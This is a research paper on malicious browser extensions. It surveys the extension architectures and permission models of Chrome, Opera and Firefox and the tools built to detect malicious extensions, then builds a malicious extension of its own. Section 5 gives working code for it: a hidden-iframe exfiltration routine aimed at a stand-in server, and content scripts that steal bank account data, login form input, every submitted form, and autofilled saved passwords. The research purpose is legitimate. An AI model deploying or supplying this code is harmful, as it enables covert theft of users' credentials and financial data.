

---

## 1 Abstract

---

Browser extensions are widely used today to enhance the way end users interact with the internet. They can access data from the user by using interfaces provided by the browser. This can be misused to violate their privacy or manipulate the content of a web page in a malicious way. In this work we analyze the possibilities to integrate malicious behavior in extensions. First, we take a look which interfaces the browser provides to the extensions and whether and, if so, how the access is restricted. Using this knowledge, we develop and implement extensions with malicious behavior that uses the provided functionality. We examine popular extensions and what parts of the interfaces they use. Then, show that we can integrate parts of our previously implemented behavior into them. Finally we describe ways to improve the privacy of those susceptible extensions by limiting the possibilities to integrate malicious behavior.

---

## 2 Introduction

---

It is impossible to think about our modern society without the use of web browsers. They represent the connection to the internet, the biggest until now created information distribution system. Even a person in far reaches can access the newest global information using a browser and the world wide web. There are different ways to deliver the information to the user, such as plain text, embellished web pages, or video and audio streams. The browser then displays these information and allows the user to send information himself back to the origin or other web services. But browsers are limited. The content they are displaying is largely dictated by the web service's author. The best example here are advertisements. The user often does not wish to see them, but the author gets profit from displaying them. It is unreasonable to ask the author to remove his source of gainings. Another example is the design of a web page that is fixed by the developer and the user can only change it, if the developer has implemented the option to do so. To overcome the limitations and to enhance the way the end user interacts with the internet, most browsers support the use of extensions. These are small programs that add new functionality to the browser by changing the look and the behavior of the browser itself and the web pages that are loaded. Of course, changing the content of a browser itself distinguishes depending on what user interfaces the browser provides. To change the content of a web page the browser grants the extension access to the web pages *Document Object Model (DOM)*. The DOM is a standardized interface for accessing and updating the content, structure, and style of a HTML or XML document <sup>1</sup>. It is implemented by most browsers and allows script languages such as JavaScript to access the web page's content [4]. The browser exposes additional functionality to its extensions, giving an extension a bigger scope of actions as a normal script inside a web page has. For example can an extension use the standardized *XMLHttpRequest (XHR)* <sup>2</sup>. XHR is an interface for JavaScript to transmit data using the HTTP protocol. It is used by web pages to fetch additional data from a server. In doing so, a web page underlies the *Same Origin Policy (SOP)* that prohibits an embedded script to access any server other than the pages origin. An extension is not restricted by the *Same Origin Policy*. The opposite would be impractical because the extension is located on the user's host machine and thereby would have only access to local resources.

All these features that the browser provides to its extensions are necessary for the extension's purpose but they also open the door for malicious behavior and privacy violations. In this work we analyze what malicious behavior is possible to implement in browser extensions.

- First, we list what extensions can do in general. We describe the extension model used by Chrome, Opera, and Firefox and the old model for Firefox.
- We show implementations of malicious extensions.
- We analyze current top Chrome extensions for being over privileged in terms of the used permission model and show that we can integrate malicious behavior into them.
- We describe ways to improve the privacy of founded susceptible extensions.
- Finally, we describe existing models to increase the privacy of extensions in general.

---

<sup>1</sup> World Wide Web Consortium DOM specification: <http://www.w3.org/DOM/>

<sup>2</sup> World Wide Web Consortium XHR specification: <http://www.w3.org/TR/XMLHttpRequest/>

---

### 3 Extension Architecture

---

The extension models we analyzed have a common base structure. They are implemented in the web technologies JavaScript, HTML and CSS and consists of two parts: The extension's core logic that interacts with the browser and so called *content scripts* that interact with the web page. The extension's core logic is stored inside a single HTML page with embedded JavaScript that implements the behavior. This page is active in the background while the browser is running. It has access to the browser's API that provides additional features such as the access to the browsers tab system or to read the user's bookmarks or web history. Each browser also provides user interfaces to the extension which are mostly buttons in the browser's tool-bars, pop-up HTML pages, or entries in the context menu.

To interact with a web page *content scripts* are executed in the scope of the web pages DOM. They behave like JavaScript which is embedded inside a HTML page, means they have access to the web pages DOM via the `window.document` object. This allows them to manipulate the DOM tree or change the pages reaction to user input. The injection of content scripts inside a web page is restricted by URL pattern. These are matching pattern that use wildcards to match several web pages at once. For example, a content script with the URL pattern `http://*.example.com/*` would be injected into the pages `http://api.example.com/` and `http://www.example.com/foo` but not into the pages `https://www.example.com/` and `http://www.example.org/`. The content script is separated from the extension's core. It can not directly access functions on the extension's core but only exchange messages over a string based channel. It has also almost no access to the browser's API. The range of exposed functions differs between the browsers.

A further separation exists between the web page and each injected content script. Each script and the web page runs in its own JavaScript heap with its own DOM object. Consequently, content scripts among each other and the web page can not access each other. Both the web page's script and the content script have access to the variable `window.document`, but these variables refer to separate JavaScript objects that represent the underlying DOM. If one script now calls a DOM-specific method, such as `createElement()`, the underlying the DOM and both objects are updated accordingly. However, if a script modifies a non-standard DOM property, such as `document.bar`, it is not transfered to the DOM and therefore not to the other object, too. The web page and a content script can communicate with each other by using the DOM specific function `window.postMessage`. The function fires an event which then can be read by an event listener.

---

### 3.1 Multi Browser Extensions

---

In 2009, Google introduced a new extension model for its Chrome browser. 4 years later, the developer of the Opera browser decided to change their browser framework to Chromium [16]. By adapting the same underlying framework as Chrome, Opera also adapted the extension model. It became possible to use the same extension on both browsers. The Mozilla developers took the chance to expand the utilization of cross browser extensions and integrated Chrome's extension model into Firefox [29].

The model was created accordingly to the proposal from Barth et al. [14]. In his work he investigated the old extension model of Mozilla's Firefox and revealed many vulnerabilities in connection to Firefox extensions running with the user's full privileges. This enables the extension to access arbitrary files and launch new processes. He proposed a new model with a strict separation of an extension's content and an permission system that to make it more difficult for an attacker to gain access to the user's machine.

The permission model is designed to limit the danger from benign-but-buggy extensions [14]. It is assumed that most extensions are developed by non professional developers who might implement an attack vector by mistake. The permissions should prevent the leak of privileged functions in the case that the extension is compromised. For that purpose the model is build on the principle of least privilege. The access to any API module is disabled by default and only enabled if appropriate permissions are set. The developer should only declare permissions that are necessary for his extension's legitimate purpose. In the case that the extension is compromised the attacker can only use the declared functionality at runtime. Cross-origin access is also restricted by permissions. Although extensions are not bound to the *Same Origin Policy*, Chrome disables requests to remote servers if no appropriate host permission is declared. Equal to content scripts, host permissions take an URL pattern to match several hosts at once. Both type of permissions are declared in the extension's mandatory *manifest* file as seen in Figure 1. Some permissions trigger a warning when a user installs the extension. For example results a host permission in a warning that the extension can read and modify the user's data on the host's web page. Warnings also show up if an extension is updated and its permission's have changed.

```
1 {
2   "name": "Example Extension",
3   "description": "Just an example for a manifest.",
4   ...
5   "content_scripts": [
6     {
7       "matches": ["http://www.google.com/*"],
8       "js": ["jquery.js", "myscript.js"]
9     }
10  ],
11  ...
12  "background": {
13    "scripts": ["background.js"],
14    "persistent" : false
15  },
16  ...
17  "permissions": [
18    "history",
19    "cookies",
20    "http://*.google.com/",
21  ],
22
23  "content_security_policy": "default-src 'none'; script-src 'self' 'unsafe-eval';"
24 }
```

Figure 1: Example of a manifest. It shows an extension with two injected scripts and a corresponding host pattern. The extension uses one JavaScript file as its non persistent background page and requests access to two API modules and one cross-origin. Finally, it defines its own Content Security Policy.

There are two kinds of background pages: Persistent background pages that are active all the time and non-persistent background pages also called *event pages* that are only active if needed. The browser loads the event page if a task has to be performed and unloads it as soon as the task is finished. This behavior saves memory and resources, consequently giving a better performance. The event page is triggered if the extension is installed or updated so that the background

---

page can register for events, an registered event is dispatched, or an other script accesses the event page. Both kinds of background page underly a *Content Security Policy (CSP)* <sup>3</sup>. CSP is a web security policy intended to prevent potential content injection attacks. The developer controls the resources the web page loads and executes by listing trusted sources. This is intended as a deeper defense layer to reduce the harm a malicious injection could do, but it is no replacement for a first defense layer such as an input validation or output encoding. The CSP for the extension's background page holds three default rules:

- JavaScript embedded in the background page with an origin different from the extension's installation is disabled.
- Inline JavaScript such as `<script>` tags or `onclick="function()"` event handler are disabled.
- The use of `eval` and related functions such as `setTimeout()` and `setInterval()` are disabled. <sup>4</sup>

The developer can either relax these policies if his extension needs to use some of the disabled functionality or even tighten them in order to increase the security. Figure 1 shows an example for a CSP. The key `"default-src 'none'"` tightens the policy by disabling resources from any source. Controversial, the second key `script-src 'self' 'unsafe-eval'"` allows to uses script from withing the extension's installation and relaxes the policy by allowing the use of *eval* inside the loaded script.

The following list is an extract of the provided API modules with associated permissions and which browser currently supports them. Firefox and Opera are still developing their implementation of the API. The whole lists are found on the developer platforms [1, 2, 11]. The list is filtered based on modules that provide functionality which can be misused in some form.

---

<sup>3</sup> World Wide Web Consortium CSP2 specification: <http://www.w3.org/TR/CSP2/>

<sup>4</sup> The JavaScript function *eval* is considered dangerous. It executes the given string as a new JavaScript process that has the privileges of the calling process. If the given input can be affected by a third party, it would open a possibility for a content injection attack [10].

Module	Description	Potential Risk
<i>activeTab</i>	Gives the extension temporary access to the active tab only if the user invokes the extension - for example by clicking on a button. This permission is suggested for extensions that otherwise would need full, persistent access to every web page to act if invoked by the user. The activeTab permission grants temporary the <i>tabs</i> permission without the need to declare it in the manifest. Not supported by Firefox.	
<i>background</i>	If one or more extensions with the background permission are active, the browser runs invisible in the background starting with the user's login. This behavior is only implemented in Chrome and can be disabled generally in Chrome's configuration.	A malicious extension still acts after the browser window is closed.
<i>bookmarks</i>	Gives read and write access to the user's bookmarks. Only partially supported by Firefox.	Get information about preferred web pages or change the URL of a bookmark to a malicious web page.
<i>contentSettings</i>	Allows the extension to overwrite the settings that control whether a web page can use features such as cookies, JavaScript, and plugins for particular web pages. Not supported by Firefox.	Reactivate settings that the user has explicitly deactivated on particular, maybe malicious web pages. For example the location tracking.
<i>cookies</i>	Gives the extension read and write access to all cookies even to <i>httpOnly</i> cookies that are normally invisible to client-side JavaScript. Only partially supported by Firefox.	Steal the users session and authentication data that is mostly stored inside cookies.
<i>downloads</i>	With this module the extension can initiate, monitor or manipulate downloads. If the file is labeled as dangerous the browser prompts the user to accept the download [33]. Not supported by Firefox.	
<i>geolocation</i>	Gives the extension access to the HTML geolocation API <sup>5</sup> without prompting the user for permission. Not supported by Firefox and Opera.	Silently track or identify the user.
<i>management</i>	The extension can list, disable or uninstall other extensions with this module. If an other extension should be uninstalled the user is prompted to accept. Only partially supported by Opera and not supported by Firefox.	Silently disable privacy preserving extensions such as <i>Ad-block</i> or <i>NoScript</i> .
<i>privacy</i>	The extension can request to change the browser's privacy settings. The request will be denied if an other extension uses the setting or the access is denied by default. Not supported by Firefox.	
<i>proxy</i>	Allows the extension to manipulate the browser's proxy settings. Not supported by Firefox.	Send user's requests through a malicious proxy like a server that tracks all requests.
<i>system</i>	Provides information about the user's host machine. Not supported by Firefox.	Create a profile to identify the user based on information such as the kernel or display name.
<i>tabs</i>	Gives access to the browser's tab system. Allows to create and close tabs, to inject scripts, and to connected to running content scripts inside a tab. Only partially supported by Firefox and Opera.	Prevent the user from uninstalling the extension by closing the extension management tab. Inject other scripts than the declared content scripts, even remote received.
<i>webRequest</i>	Gives access to events fired by the life cycle of a web request. Allows to observe, intercept or manipulate web requests. Only partially supported by Firefox.	Request data can be read and redirects executed.

---

The activeTab permission and the event pages do not only give a better performance but do also improve the security. If the extension is compromised the attacker would need to wait until the extension is active before obtaining access and would lose the access when the extension is unloaded. On the other hand if the extension itself is malicious it gets restricted in its actions to only act if the user invokes it.

Chrome distributes its extensions over the Chrome Web Store<sup>6</sup>. The installation of extensions from remote servers was disabled because this mechanism was often misused to install malicious extensions [25]. To further restrict the distribution of malicious extensions, Google added a registration fee for developers [?]. The developer has to add a credit card to his Google account. This allows Google to better identify the developer and it discourages possible malicious developers. Opera has its own web store, too<sup>7</sup>. Anyone can commit a new extension which is then reviewed by Opera's developers. The extension is only published if it matches the acceptance criteria. Those range from correct execution over guidelines for adequate design to privacy preserving measures [3]. Extensions in the multi-browser model are currently not published for Firefox [12].

---

<sup>6</sup> Chrome Web Store: <https://chrome.google.com/webstore/category/extensions>

<sup>7</sup> Opera Web Store: <https://addons.opera.com/en/>

---

## 3.2 Firefox ADD-ONS

---

Mozilla just started implementing the extension model [29]. The model is currently not released to Firefox and those extensions are not publicly distributed [12]. Current extensions for Firefox are called *add-ons* and are build with the browsers native technologies. This allows an add-on to use any feature that the browser can use. Mozilla distributed a JavaScript framework for building their add-ons that operates on the modules system defined by the *CommonJS*<sup>8</sup> module format. This allows to resign from the native technologies and focus the development on web technologies. The framework handles the interaction with the native technologies, consequently keeping the access to the browser's features. If an add-on uses those features, it is automatically registered for an extra security review by Mozilla [5].

The framework uses a *package.json* file that manages the add-on's content similar to the extension's manifest file. Firefox add-ons do not have a permission system comparable to the permissions of the extension model. There is however a *permission* section in the package file. But it only holds three keys: The first indicates whether or not the add-on can access private browsing windows. The second is a list of fully qualified domain names which can be accessed by content scripts. And the third indicates whether or not the add-on is compatible with the multiprocess version of Firefox.

The following list shows an extract of the functionality provided to an add-on filtered on possible privacy risks. The full list of modules can be found on Mozilla's developer network [6, 7]

- Access Firefox's built-in password manager.
- Access users data like bookmarks, favorite web pages, or history.
- Read content from URIs and use XMLHttpRequests [?].
- Firefox provides a long list of events for which an add-on can register [8].
- Read and write environment variables.
- Get technical information about the user's host machine.
- Access the users file system using the native interfaces.

Firefox uses an internal privilege system to restrict the access of remote JavaScript code. They differentiate between trusted *chrome* code and untrusted *content* code. Chrome code is everything that comes from the browser itself. Its own JavaScript that interacts with the underlying C++ core and add-ons that have access to the browser's API. On the other hand is everything that is loaded from the web classified as content. Objects in a higher privileged scope have full access to other objects in a less privileged scope. But by default they only see the native object without any modifications by the less privileged code. This prevents the higher level code to be tricked with modified functionality by untrusted code. Contrary, less privileged code can not access higher privileged code. In addition to the two main privilege levels, chrome code can generate sandboxes and determines its privilege level and its access to certain objects. Thereby it is possible to give a piece of JavaScript fine grained access to needed functionality without exposing security relevant functions and still protect it from access by less privileged code. For example, content scripts are executed inside a sandbox with certain privileges over content code. Thereby it is protected from direct access by the web page's code and can only see the web page's unmodified DOM. But it has still less privileges than chrome code and can therefore not access the add-on's core or the browser's API.

Firefox uses a security mechanism to prevent an attacker that has compromised an add-on to access submodules that are not explicit requested inside the add-on. On compiling the add-on, a scanner lists all requests to modules inside the add-on's code. The runtime loader will actually prevent the loading of modules that are not listed. This prevents an attacker to use further modules and more privileged functions at runtime.

Mozilla distributes add-ons for Firefox over their own web store<sup>9</sup> but also allows the installation from private web pages. Add-ons published over the web store are target to an security review [9]. After passing the review the add-on is signed by Mozilla what is shown on installation. Similarly, if an add-on is published private it is labeled as untrusted on installation.

---

<sup>8</sup> CommonJS Wiki Modules specification: <http://wiki.commonjs.org/wiki/Modules/1.1.1>

<sup>9</sup> Firefox Web Store: <https://addons.mozilla.org/en-US/firefox/>



---

## 4 Related Works

---

Nicholas Carlini et al. evaluated the three security principles of Chrome's extension architecture: *isolated world*, *privilege separation* and *permissions* [17]. They reviewed 100 extensions and found 40 containing vulnerabilities of which 31 could have been avoided if the developer did follow simple security best practices. Those are using HTTPS instead of HTTP and the DOM function `innerText` that does not allow inline scripts to execute instead of `innerHTML`. Evaluating the isolated world mechanism, they found only three extensions with vulnerabilities in content scripts; two due to the use of `eval`. Isolated world effectively shields content scripts from malicious web pages, if the developer does not implement explicit cross site scripting attack vectors. Privilege separation should protect the extension's background from compromised content scripts but is rarely needed because content scripts are already effectively protected. They discovered that network attacks are a bigger threat to the extension's background than attacks from a web page. An attacker can compromise an extension by modifying a remote loaded script that was fetched over an HTTP request. The permission system acts as security mechanism in the case that the extension's background is compromised. Their review showed that developers of vulnerable extensions still used permissions in a way that reduced the scope of their vulnerability. To increase the security of Chrome extensions, Carlini et al. proposed to ban the loading of remote scripts over HTTP and inline scripts inside the extension's background. They did not propose to ban the use of `eval` in light of the facts that `eval` itself was mostly not the reason for a vulnerability and banning it would broke several extensions.

*Hulk* is an dynamic analysis and classification tool for chrome extensions [24]. It categorizes analyzed extensions based on discoveries of actions that may or do harm the user. An extension is labeled *malicious* if behavior was found that is harmful to the user. If potential risks are present or the user is exposed to new risks, but there is no certainty that these represent malicious actions, the extension is labeled *suspicious*. This occurs for example if the extension loads remote scripts where the content can change without any relevant changes in the extension. The script needs to be analyzed every time it is loaded to verify that it is not malicious. This task can not be accomplished by an analysis tool. Lastly an extension without any trace of suspicious behavior is labeled as *benign*. Alexandros Kapravelos et al. used *Hulk* in their research to analyze a total of 48,322 extensions where they labeled 130 (0.2%) as malicious and 4,712 (9.7%) as suspicious.

Static preparations are performed before the dynamic analysis takes action. URLs are collected that may trigger the extension's behavior. As sources serve the extension's code base, especially the manifest file with its host permissions and URL pattern for content scripts, and popular sites such as Facebook or Twitter. This task has its limitation. *Hulk* has no account creation on the fly and can therefore not access account restricted web pages.

The dynamic part consists of the analysis of API calls, in- and outgoing web requests and injected content scripts. Some calls to Chrome's extension API are considered malicious such as uninstalling other extensions or preventing the user to uninstall the extension itself. This is often accomplished by preventing the user to open Chrome's extension tab. Web requests are analyzed for modifications such as removing security relevant headers or changing the target server. To analyze the interaction with or manipulation of a web page *Hulk* uses so called *honey pages*. Those are based on *honeypots* which are special applications or server that appear to have weak security mechanisms to lure an attack that can then be analyzed. Honey pages consists of overridden DOM query functions that create elements on the fly. If a script queries for a DOM element the element will be created and any interaction will be monitored.

*WebEval* is an analysis tool to identify malicious chrome extensions [22]. Its main goal is to reduce the amount of human resources needed to verify that an extension is indeed malicious. Therefore it relies on an automatic analysis process whose results are valuated by an self learning algorithm. Ideally the system would run without human interaction. The research of Nav Jagpal *et al.* shows that the false positive and false negative rates decreases over time but new threads result in a sharp increase. They arrived at the conclusion that human experts must always be a part of their system. In three years of usage *WebEval* analyzed 99,818 extensions in total and identified 9,523 (9.4%) malicious extensions. Automatic detection identified 93.3% of malicious extensions which were already known and 73,7% of extensions flagged as malicious were confirmed by human experts.

In addition to their analysis pipeline they stored every revision of an extension that was distributed to the Google Chrome web store in the time of their research. A weakly rescan targets extensions that fetch remote resources that can become malicious. New extensions are compared to stored extensions to identifying near duplicated extensions and known malicious code pattern. *WebEval* also targets the identification of developer who distribute malicious extensions and fake accounts inside the Google Chrome web store. Therefore reputation scans of the developer, the account's email address and login position are included in the analysis process.

The extension's behavior is dynamically analyzed with generic and manual created behavioral suits. Behavioral suits replay recorded interactions with a web page to trigger the extension's logic. Generic behavioral suits include techniques developed by Kapravelos et al. for *Hulk* [24] such as *honeypages*. Manual behavioral suits test an extension's logic explicit against known threads such as to uninstall another extension or modify CSP headers. In addition, they rely on anti virus software to detect malicious code and domain black lists to identify the fetching of possible harmful resources. If new threads surface *WebEval* can be expanded to quickly respond. New behavioral suits and detection rules for the self

---

learning algorithm can target explicit threads.

Mike Ter Louw et al. evaluated Firefox's Add-on model with the main goal to ensure the integrity of an extension's code [36]. They implemented an extension to show that it is possible to manipulate the browser beyond the features that Firefox provides to its extensions. They used this to hide the extension completely by removing it from Firefox installed extensions list and injecting it into an presumably benign extension. Furthermore, their extension collects any user input and data and sends it to a remote server. The integrity of an extension's code can be harmed because Firefox signs the integrity on the extension's installation but does not validate it on loading the extension. Therefore, an malicious extension can undetected integrate code into an installed extension. To remove this vulnerability Ter Louw et al. proposed user signed extensions. On installation the user has to explicit allow the extension which is then signed with a hash certificate. The extension's integrity will be tested against the certificate when it is loaded. To protect the extension's integrity at runtime they added policies on a per extension base such as to disable the access to Firefox's native technologies.

An approach similar to the policies from Ter Louw et al. was developed by Kaan Onarlioglu et al. [32]. They developed a policy enforcer for Firefox Add-ons called *Sentinel*. Their approach adds a runtime monitoring to Firefox for accessing the browser's native functionality and acts accordingly to a local policy database. Additional policies can be added by the user which enables a fine grained tuning and to adapt to personal needs. The disadvantage is that the user needs to have knowledge about extension development to use this feature. The monitoring is implemented by modifying the Add-on SDK. They modified those JavaScript modules that interact with the native technologies by adding wrappers that execute the policies.

VEX is a static analysis tool for Firefox Add-ons [13]. Sruthi Bandhakavi et al. analyzed the work flow of Mozilla's developers who manually analyze new Firefox Add-ons by searching for possible harmful code pattern. They implemented VEX to extend and automatize the developer's search and minimize the results. VEX uses information flow pattern based on graph system to detect vulnerabilities. They created pattern for possible cross site scripting attacks with *eval* or the DOM function *innerHTML* and Firefox specific attacks that exploit the improper use of *evalInSandbox* or wrapped JavaScript objects. More vulnerabilities can be covered by VEX by adding new flow pattern. A crucial limitation is that VEX targets only buggy Add-ons without harmful intent or code obfuscation.

Oystein Hallaraker et al. developed an auditing system for Firefox's JavaScript engine to detect malicious code pieces [21]. The system logs all interaction JavaScript and the browser's functionalities such as the DOM or or the browser's native code. The auditing output is compared to pattern to identify possible malicious behavior. Hallaraker et al. did not propose any mechanism to verify that detection results are indeed malicious. The implemented pattern can also match benign code. Their work targets JavaScripts embedded into web pages. Applying their system to extensions could be difficult, because extensions do more often call the browser's functionalities in an benign way due to an extension's nature.

Philipp Vogt et al. developed a system to secure the flow of sensitive data in JavaScript browsers and to prevent possible cross site scripting attacks [38]. They taint data on creation and follow its flow by tainting the result of every statement such as simple assignments, arithmetical calculations, or control structures. For this purpose they modified the browser's JavaScript engine and also had to modify the browser's DOM implementation to prevent tainting loss if data is temporarily stored inside the DOM tree. The dynamic analysis only covers executed code. Code branches that indirect depend on sensitive data can not be examined. They added a static analysis to taint every variable inside the scope of tainted data to examine indirect dependencies.

The system was designed to prevent possible cross site scripting attacks. If it recognizes the flow of sensitive data to an cross origin it prompts the user to confirm or decline the transfer. An empirical study on 1,033,000 unique web pages triggered 88,589 (8.58%) alerts. But most alerts were caused by web statistics or user tracking services. This makes their system an efficient tool to control information flow to third parties. The system could be applied to extensions for the same purpose and as security mechanism to prevent data leaking in buggy extensions.

*Sabre* is a similar approach to the tainting system from Vogt et al. but focused on extensions [19, 38]. It monitors the flow of sensitive information in JavaScript base browser extensions and detects modifications. The developers modified a JavaScript interpreter to add security labels to JavaScript objects. Sabre tracks these labels and rises an alert if information labeled as sensitive is accessed in an unsafe way. Although their system is focused on extensions it needs access to the whole browser and all corresponding JavaScript applications to follow the flow of data. This slows down the browser. Their own performance tests showed an overhead factor between 1.6 and 2.36. A further disadvantage is that the user has to decide if an alert is justified. The developer added a white list for false positive alarms to compensate this disadvantage.

---

## 5 Malicious Extension

---

In this section we focus on what harmful actions can be performed by a malicious extension. For that purpose we show attacks that can be implemented using an extension. Our focal point lies on the multi-browser extension model. We show what permissions are necessary to perform these actions.

1. Steal data from the current displayed web page.
2. Track the user between websites.
3. Identify the website's current user.
4. Misuse the user's browser to launch attacks.

---

## 5.1 Data Theft

---

A user operating in the Internet often arrives at situations where he transmits sensitive information to a trusted server or receives them on request. The term "sensitive" is not bound to specific information but rather describes a class of information that is important to protect in the current context. In our context - where we are concerned with stealing information from web pages - "sensitive" describes values that are stored inside a web page and may be misused in some form by an attacker. Some examples of data valuable for an attacker are credentials, credit card numbers, addresses, social security numbers, or identity numbers. If an attacker obtains these information he will certainly harm the user and enrich himself to the detriment of the robbed user.

A cryptographic secured communication channel is often used when sensitive information are transmitted over the Internet. This hampers attackers that try to intercept the communication and steal the information. Therefore, web criminals seek to steal the desired data directly from the browser before any cryptography mechanism is applied. The attacker has to gain control over the user's browser to access the information stored inside a displayed web page.

In the following section we show that an extension is an efficient tool to steal sensitive information from displayed web pages. We implemented several content scripts that steal information from different occurrences and with different strategies. Once installed our extension read the displayed web pages, extracted valuable information, and sent these to an remote server. For that purpose it needs the following manifest file:

```
1 {
2   "manifest_version": 2,
3   "name": "StealFormData",
4   "description": "Extension that steals data from the currently visible web page. Sends data",
5   "version": "1.0",
6   "content_scripts" : [
7     { "matches": [ "http://*/*", "https://*/*" ],
8       "js" : ["jquery.js", "content.js"] }
9   ]
10 }
```

---

### 5.1.1 Send Data

---

If we want steal data from a web page from inside the user's browser we first have to consider how to send the data to a remote server. Otherwise the data can not be labeled as "stolen". An extension is able to transfer data with a XMLHttpRequest to any host if it has proper host permissions declared. We, as an attacker, want to remain anonymous. Therefore, we do not want to reveal the remote server in the extension's manifest and hence use host permissions that match any host such as "`http://*/*`", "`https://*/*`" or `<all_urls>`. The following code snippet shows how we send a message with an XHR to our remote server.

```
1 var xhr = new XMLHttpRequest();
2 xhr.open('POST', 'https://localhost:3001/log', true);
3 xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
4 xhr.send(message);
```

First, we create a new XHR-object. Then, we open a connection to our remote server with a POST request. We set the correct content type of our request in order that our server is able to decrypt the request's parameter body. And finally, we send our message.

For our extensions we decided against using XMLHttpRequests with proper host permissions to transfer the data. It is possible to achieve the same using only a content script without the need for any host permissions. For that purpose, we use the mechanics of an *iframe* element. It's task is to display a web page within a web page. The displayed web page is defined by the URL stored inside the *iframe*'s *src* attribute. If the URL changes, the *iframe* reloads the web page. The Same Origin Policy creates a boundary between the *iframe* and it's parent web page. It prevents scripts to access content that has another origin as the script itself. If the web page inside the *iframe* comes from another domain as the parent web page, the *iframe*'s JavaScript can not access the parent web page. The same applies in reverse. In conclusion, if we manipulate the target URL of an *iframe*, we are able to send data to our remote server. But we are not able to receive any data, because the Same Origin Policy prevents our content script from accessing the data inside the *iframe*. We implemented a method `send()` that transfers our data with the described strategy:

```
1 var iframe = document.createElement('iframe');
2 iframe.setAttribute('style', 'display: none;');
3 document.body.appendChild(iframe);
4
5 function send(data) {
6     data += "&url=" + encodeURIComponent(window.location.href);
7     iframe.setAttribute('src', 'https://localhost:3001/log?' + data);
8 }
```

In the first three lines, we create a new *iframe* element, turn it invisible by setting it's *style* attribute, and append it to the web pages body element. In line 5 we define the method `send(data)` that takes a string as parameter encoded in the standard URL parameter notation<sup>10</sup>. For example: `username=some@mail.net&password=Abcd1234`. Inside the method, we append the current web page's URL to the outgoing data to later identify the data's origin. And finally on line 7, we set the *src* attribute of our previously created *iframe* to the URL of our remote server and add the data as parameters. At this point it is important that the data string is encoded correctly. Otherwise, the receiving server could not correctly decode the request URL.

While developing this code section we discovered some important requirements for our method to work. If the web page that is targeted by the *iframe* is secured by the `https` scheme, an unsecured request with `http` will be blocked as security prevention. On the other hand, if the web page is unsecured, a secured request is not blocked. Therefore, we use a remote server with a secured connection. But this opens another problem. Our remote server needs a valid SSL certificate. Otherwise the browser blocks the secured request. The certificate contains information about the owner. Transmitting it to the user would reveal the attackers identity. How to get a valid SSL certificate without or with fake information is off topic for our paper. To test our implementation, we used a self signed certificate and registered it manually in the browser.

---

<sup>10</sup> World Wide Web Consortium URL specifications: <https://url.spec.whatwg.org/>

---

### 5.1.2 Steal Data From A Web Page

---

A web page that the user requests from a server may contain sensitive information. An extension with an active content script inside the displayed web page is able to extract these information. Finding the exact location of the targeted information inside the web page is a non-trivial procedure. The location depends on the web page's HTML structure which differentiates from page to page. Therefore, a content script is only able to target specific information in a specific web page.

Figure 1 shows an example of a bank web page with information about the user's accounts. We implemented a content script that targets exactly our example web page and steals the displayed information:

```
1  if(window.location.href === "https://localhost:3001/bank") {
2    var data = [];
3    $('tbody > tr').each(function(i) {
4      var td_elements = $(this).children('td');
5      data.push('account' + i + '=' + td_elements.eq(0).text());
6      data.push('iban' + i + '=' + td_elements.eq(1).text());
7      data.push('balance' + i + '=' + td_elements.eq(2).text());
8    });
9    send(data.join('&'));
10 }
```

We start by comparing the current web page's URL to the URL of our targeted bank web page. We declare an array to store the extracted information. The jQuery call on line 3 selects each table row (tr) inside the table's body (tbody) and executes the anonymous function between line 3 and 7. On line 4, we select all table cells (td) inside the current row. We know exactly in which column what value is stored: In the first column is the account's name, in the second the account's IBAN, and in the third the current balance. Therefore, we extract the values inside these cells on line 5, 6, and 7. We store the values inside our array in the URL parameter notation and add the current table row's index as an identifier for account information that belong together. Finally on line 9, we connect the values inside the data array with an "&" to comply to the URL notation and forward the extracted data to our send method.

As we tested our extension, our server output server received the following URL:

```
https://localhost:3001/log?account0=Giro&iban0=DE12%204122%203321%204212%207664%2098&balance0=432,03%
20EUR&account1=Daily%20Alloance&iban1=DE32%202313%200429%203532%203466%2031&balance1=10.023,42%20EUR&
url=https%3A%2F%2Flocalhost%3A3001%2Fbank
```

And extracted following values:

account0	:	Giro
iban0	:	DE12 4122 3321 4212 7664 98
balance0	:	432,03 EUR
account1	:	Daily Allowance
iban1	:	DE32 2313 0429 3532 3466 31
balance1	:	10.023,42 EUR
url	:	https://localhost:3001/bank

As mentioned before, finding elements in the web page is non-trivial. We implemented our script to exactly match our example bank web page. Small changes on the web page's HTML source code may break our code. For example, if we add a further column to the table between *Account* and *IBAN* such as the date of the last transaction, our content script will no longer extract the account's balance.

---

### 5.1.3 Steal Data From Web Forms

---

Many websites request sensitive information from their users for legitimate purpose. The website provides a form embedded inside a web page in which the user enters his information and then returns it back to the website's server. A typical web-form consists of a *form* element that holds several *input* elements and a submit button to transmit the data. The perhaps most used type is the form that is used for authenticate a user at a website. These login form typically consist of two input fields for username and password. Figure 3 shows an example of such a login form. We implemented a content script to steal the information that the user enters into our example login web page:

```
1 $('form').submit(function(event) {
2   var username = $('input[type="text"]').val();
3   var password = $('input[type="password"]').val();
4   var url_encoding = "username=" + username + "&password=" + password;
5   send(url_encoding);
6 });
```

First, we search for all form elements and add an event to each which is triggered when the form is submitted. In our case, we find one form element which is submitted when the "Login" button is pushed. On line two, we search for input elements of type text. Our web page has only one element that matches this selector, namely the input field for the username. Similar, we locate the input element of type password on line three. We convert both values to a string in URL parameter notation and forward it to our `send()` method.

This content script has the same flaws as the script which we have implemented to steal the information from the example bank web page. It is adapted to our example login page. Small changes on the web page's HTML source code may break our script. For example, if we add another input element of type text above the username field, our script will locate both elements, concatenate their values, and forward the result as username. We could not differentiate between the text from the new input field and the actual username.

Writing a concrete content script for each web page is inefficient. It raises the amount of work we have to do examining the structure of every targeted web page and writing adapted scripts. We also have to identify the current web page and inject the corresponding content script. If we simply inject all scripts in every web page, it will result in a heap of unwanted data because we can not foresee which content script extracts data from the current web page. Therefore, we implemented a more general content script to steal the form's values which works with every form. Surprisingly, our script is not only more efficient because it can be used on every web page, but it is also very compact.

```
1 $('form').submit(function(event) {
2   send($(this).serialize());
3 });
```

Again, we start selecting all form elements on the web page and add an submit-event to each. The jQuery library lightens our workload. It provides the function `serialize()` that returns the content of a form as URL parameters. We then forward this string to our `send` method.

---

#### 5.1.4 Steal Data From Password Managers

---

Most browsers offer their user the possibility to save entered usernames and passwords within a password manager. If the user visits a login page for which the password manager has stored credentials, it inserts them automatically. We implemented a content script that waits for the password manager to fill in possible credentials and then steals them:

```
1  setTimeout(function() {
2    var form = $('input[type="password"]').closest('form');
3    if(form.length > 0) {
4      send(form.serialize());
5    }
6  }, 500);
```

